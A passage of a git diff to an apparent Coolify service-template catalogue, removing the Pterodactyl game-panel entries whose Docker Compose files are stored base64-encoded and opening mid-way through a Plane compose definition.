CiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgcGxhbmUtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LjctYWxwaW5lJwogICAgY29tbWFuZDogInBvc3RncmVzIC1jICdtYXhfY29ubmVjdGlvbnM9MTAwMCciCiAgICBlbnZpcm9ubWVudDoKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgdm9sdW1lczoKICAgICAgLSAncGdkYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1yZWRpczoKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo3LjIuNS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JhYmJpdG1xX2RhdGE6L3Zhci9saWIvcmFiYml0bXEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JhYmJpdG1xLWRpYWdub3N0aWNzIC1xIHBpbmcnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMzBzCiAgICAgIHJldHJpZXM6IDMKICBwbGFuZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9leHBvcnQgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDkwIicKICAgIGVudmlyb25tZW50OgogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2V4cG9ydCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK",
- "tags": [
- "plane",
- "project-management",
- "tool",
- "open",
- "source",
- "api",
- "nextjs",
- "redis",
- "postgresql",
- "django",
- "pm"
- ],
- "category": "productivity",
- "logo": "svgs/plane.svg",
- "minversion": "0.0.0"
- },
"plex": {
"documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io",
"slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.",
@@ -3878,38 +3822,6 @@
"minversion": "0.0.0",
"port": "9159"
},
- "pterodactyl-panel": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04K",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80"
- },
- "pterodactyl-with-wings": {
- "documentation": "https://pterodactyl.io/?utm_source=coolify.io",
- "slogan": "Pterodactyl is a free, open-source game server management panel",
- "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LWRlYnVnfScKICAgICAgLSBDQUNIRV9EUklWRVI9cmVkaXMKICAgICAgLSBTRVNTSU9OX0RSSVZFUj1yZWRpcwogICAgICAtIFFVRVVFX0RSSVZFUj1yZWRpcwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBEQl9EQVRBQkFTRT1wdGVyb2RhY3R5bC1kYgogICAgICAtIERCX1VTRVJOQU1FPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBEQl9IT1NUPW1hcmlhZGIKICAgICAgLSBEQl9QT1JUPTMzMDYKICAgICAgLSBEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgICAtIE1BSUxfRlJPTT0kTUFJTF9GUk9NCiAgICAgIC0gTUFJTF9EUklWRVI9JE1BSUxfRFJJVkVSCiAgICAgIC0gTUFJTF9IT1NUPSRNQUlMX0hPU1QKICAgICAgLSBNQUlMX1BPUlQ9JE1BSUxfUE9SVAogICAgICAtIE1BSUxfVVNFUk5BTUU9JE1BSUxfVVNFUk5BTUUKICAgICAgLSBNQUlMX1BBU1NXT1JEPSRNQUlMX1BBU1NXT1JECiAgICAgIC0gTUFJTF9FTkNSWVBUSU9OPSRNQUlMX0VOQ1JZUFRJT04KICB3aW5nczoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC93aW5nczp2MS4xMi4xJwogICAgcmVzdGFydDogdW5sZXNzLXN0b3BwZWQKICAgIHBvcnRzOgogICAgICAtICcyMDIyOjIwMjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGF